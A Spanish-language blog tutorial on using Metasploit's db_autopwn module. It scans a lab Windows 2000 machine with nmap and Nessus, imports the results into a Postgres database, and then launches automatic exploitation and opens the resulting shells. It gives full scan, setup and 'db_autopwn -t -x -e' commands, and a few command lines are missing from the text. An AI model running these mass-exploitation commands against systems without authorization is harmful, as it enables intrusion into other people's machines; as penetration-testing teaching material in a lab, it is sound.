Bueno este es un tutorial que muestra el uso de metasploit con su modulo de autopwn, mediante un video que se encuentra mas adelante e imágenes; existen varios tutoriales en internet pero no he encontrado ninguno en español y que resuelva los problemas que me fui encontrando en el camino, es por eso que me he tomado la molestia de realizar este tutorial.
La arquitectura que utilice fue OpenSuse 11.1 como explotador (IP 192.168.137.50) y Windows 2000 Professional SP4 como explotado (IP 192.168.137.55).
Instalaciones:
- Lo primero y esencial es instalar nmap, preferiblemente instalarlo de fuentes (http://nmap.org/dist/nmap-4.76.tar.bz2)
- Instalar Nessus desde http://www.nessus.org/download/
- Instalar Postgres Server, en este caso lo instale desde rpm por el Yast.
- Instalar Ruby DESDE FUENTES, aqui es donde tuve pequeños problemas ya que la versión de Ruby que viene en OpenSuse que es Ruby-1.8.7 NO SIRVE, la versión que instale fue la última versión estable SVN (ftp://ftp.ruby-lang.org/pub/ruby/stable-snapshot.tar.gz).
- Instalar RubyGems DESDE FUENTES, la versión que utilice fue la 1.0.0 (http://rubyforge.org/frs/download.php/29516/rubygems-1.0.0.tgz).
- Instalar el ActiveRecord: # gem install activerecord
- Instalar el driver de postgres: # gem install postgres
- Por último instalar Metasploit desde SVN, como se muestra en http://www.metasploit.com/framework/download/
El objetivo de este tutorial es trabajar con metasploit con su modulo autopwn, y para realizar esto importaremos un archivo nessus (nbe) a metasploit.
Lo primero que vamos hacer es correr nmap desde consola (nmap -v -A -sC -p 1-65535 -P0 --reason -oA /root/Desktop/autopwn/nmap_autopwn 192.168.137.55) y que nos dé los resultados en sus tres formatos.
Luego iniciaremos Nessus y exportaremos el archivo *.gnmap a la política que vayamos a crear. Terminado el escaneo de nessus, exportamos el resultado a un archivo *.nbe. (El uso de nmap y nessus escapa al objetivo de este tutorial).
--El video empieza desde este punto--
Listo ahora vayamos a iniciar una instancia de postgres; para realizar esto necesitaremos cambiarnos de usuario ya que root no permite realizar esta acción, hacemos lo siguiente:
# su “usuario”
$ cd /home/”usuario”
$ initdb ~/metasploitdb (Creación de la instancia)
$ pg_ctl -D ~/metasploitdb start (Inicio de postgres)
Ya tenemos una instancia de postgres iniciada, entonces ahora podemos trabajar con metasploit y lo iniciamos en modo consola:
# cd /root/Programas/metasploit (donde se encuentra mestasploit)
Ahora cargamos postgres en el metasploit con el siguiente comando:
msf > load db_postgres
NOTA: Una vez que cargamos postgres en el metasploit aparecerán nuevos comandos como db_create o db_destroy, etc.
Y luego creamos la base de datos con el siguiente comando:
msf > db_create “usuario”:”passw”@localhost:5432/metasploitdb
Donde: usuario: es el usuario que utilizamos para iniciar la instancia del postgres
passw: cualquier contraseña a utilizar
localhost: porque la instancia de postgres se encuentra en nuestra máquina
5432: puerto que utiliza postgres
metasploitdb: nombre de la base de datos, la cual hemos instanciado
IMPORTANTE: es necesario ingresar todos los parámetros ya que si obviamos uno, no se creará ninguna base de datos.
Nos pedirá ingresar una contraseña, pues entonces ingresamos la misma contraseña que colocamos en el comando explicado arriba.
NOTA: Una vez creada la base de datos aparecerán nuevos comandos como db_hosts, db_services, db_import_*, etc.
Ahora nos toca importar el archivo *.nbe a la base de datos, para eso utilizamos el siguiente comando:
msf > db_import_nessus_nbe “ruta donde se encuentra el archivo”
NOTA: Una vez importada la base de datos mediante los comandos “db_hosts” y “db_services” podemos ver la información que se encuentra en la base de datos.
Ahora que tenemos la base de datos llena, podemos comenzar hacer la explotación automática; mediante el comando en solitario “db_autopwn” podemos apreciar las siguientes opciones:
msf > db_autopwn
[*] Usage: db_autopwn [options]
-h Display this help text
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port
-q Disable exploit module output
-I [range] Only exploit hosts inside this range
-X [range] Always exclude hosts inside this range
-PI [range] Only exploit hosts with these ports open
-PX [range] Always exclude hosts with these ports open
Para sólo ver los exploits que tenemos disponibles para atacar, basados en los puertos que tenemos abiertos, ingresamos el comando:
Para sólo ver los exploits que tenemos disponibles para atacar, basados en las vulnerabilidades que tenemos, ingresamos el comando:
msf > db_autopwn -t –x
Listo ya tenemos todo preparado, ahora toca lo más interesante,
msf > db_autopwn -t -x -e
Y empieza la explotación.
Al finalizar podremos ver las sesiones creadas durante la explotación con el comando:
Para seleccionar la sesión que queremos, ingresamos el comando:
msf > sessions -i N (donde N es el ID de la sesión)
Para finalizar creamos un archivo *.txt y lo colocamos en el escritorio de la máquina explotada.
NOTAS FINALES:
- El comando db_nmap es el ejecutable /bin/nmap embebido en el metasploit, si utilizamos el comando db_nmap desde metasploit, el resultado se cargará automáticamente en la base de datos creada.
- Se puede realizar la importación de un resultado de nmap en archivo *.xml con el comando db_import_nmap_xml como lo hicimos con el archivo de nessus.
- Si se quiere realizar otro análisis distinto y se cargan los datos en la misma base de datos, la autoexplotación de metasploit lo hará a todos los hosts que se encuentren en la base de datos, es recomendable crear nuevamente la base de datos pero bajo el riesgo de perder los datos ingresados anteriormente.
Bueno eso es todo, hasta el próximo post…
VIDEO